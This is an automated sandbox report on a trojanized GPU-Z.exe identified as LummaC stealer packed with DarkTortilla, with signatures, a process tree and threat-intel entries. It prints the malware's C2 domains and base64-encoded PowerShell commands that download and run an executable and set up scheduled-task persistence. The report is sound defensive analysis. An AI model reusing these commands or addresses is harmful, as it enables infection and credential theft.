Edit tour

Windows Analysis Report
GPU-Z.exe

Overview

General Information

Sample name:	GPU-Z.exe
Analysis ID:	1581997
MD5:	8a610c8380b7bc7c95472ea19ce2d4f3
SHA1:	183c6c553dbf468c3867dd094d6cc95a70a404dc
SHA256:	2f01809f78d096e770544c434b5bb63b3a0461559f7dd98a25a04bf66c8784f4
Tags:	exeGPU-ZP2SoftIncsigneduser-NDA0E
Infos:

Detection

LummaC, DarkTortilla, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious encrypted Powershell command line found

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DarkTortilla Crypter

Yara detected LummaC Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Drops executables to the windows directory (C:\Windows) and starts them

Encrypted powershell cmdline option found

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Powershell drops PE file

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Parameter Substring

Tries to delay execution (extensive OutputDebugStringW loop)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Execution of Powershell with Base64

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

GPU-Z.exe (PID: 4720 cmdline: "C:\Users\user\Desktop\GPU-Z.exe" MD5: 8A610C8380B7BC7C95472EA19CE2D4F3)

AddInProcess32.exe (PID: 4760 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 3692 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 4072 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 3920 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

cmd.exe (PID: 3660 cmdline: "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA= MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3840 cmdline: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 6972 cmdline: "cmd" /c powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4124 cmdline: powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

ChromeSetup.exe (PID: 4304 cmdline: "C:\Users\user\AppData\Local\Temp\ChromeSetup.exe" MD5: 6DF42D2EACF5B2916299DDC1AF4A7DDF)

updater.exe (PID: 6048 cmdline: "C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={8E7848EA-F143-48B2-373C-33F54B7527D1}&lang=en-GB&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=2 MD5: 9DB9D09B6A58E5C09773F754504AC148)

updater.exe (PID: 2608 cmdline: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=132.0.6833.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xbc9488,0xbc9494,0xbc94a0 MD5: 9DB9D09B6A58E5C09773F754504AC148)

svchost.exe (PID: 4508 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 2520 cmdline: C:\Windows\system32\cmd.EXE /c powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5588 cmdline: powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

chrome.exe (PID: 6340 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,8218608324562589918,13039616218442769122,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4416 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2024,i,80333394096213294,6915374060940689089,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6200 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2000,i,5810222806604600449,1391955646674968393,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
DarkTortilla	DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.	No Attribution	https://www.secureworks.com/research/darktortilla-malware-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla

Malware Configuration

Threatname: LummaC

{"C2 url": ["energyaffai.lat", "grannyejh.lat", "aspecteirs.lat", "necklacebudi.lat", "crosshuaht.lat", "sustainskelet.lat", "discokeyus.lat", "rapeflowwj.lat"], "Build id": "bFcGh6--1912"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2855684296.0000000005940000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000003.00000002.2911331834.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000003.00000002.2931725879.0000000003C48000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000000.00000002.2836738327.0000000003321000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: GPU-Z.exe PID: 4720	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: GPU-Z.exe PID: 4720	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: AddInProcess32.exe PID: 4760	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: AddInProcess32.exe PID: 4760	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.AddInProcess32.exe.3b88e20.1.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
3.2.AddInProcess32.exe.3bc8e40.4.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.GPU-Z.exe.5940000.4.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
3.2.AddInProcess32.exe.3c48e60.3.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
3.2.AddInProcess32.exe.3c48e60.3.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
3.2.AddInProcess32.exe.3b88e20.1.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
3.2.AddInProcess32.exe.3bc8e40.4.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.GPU-Z.exe.5940000.4.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
3.2.AddInProcess32.exe.3b68e00.2.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA, CommandLine: powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA, ProcessId: 4124, ProcessName: powershell.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

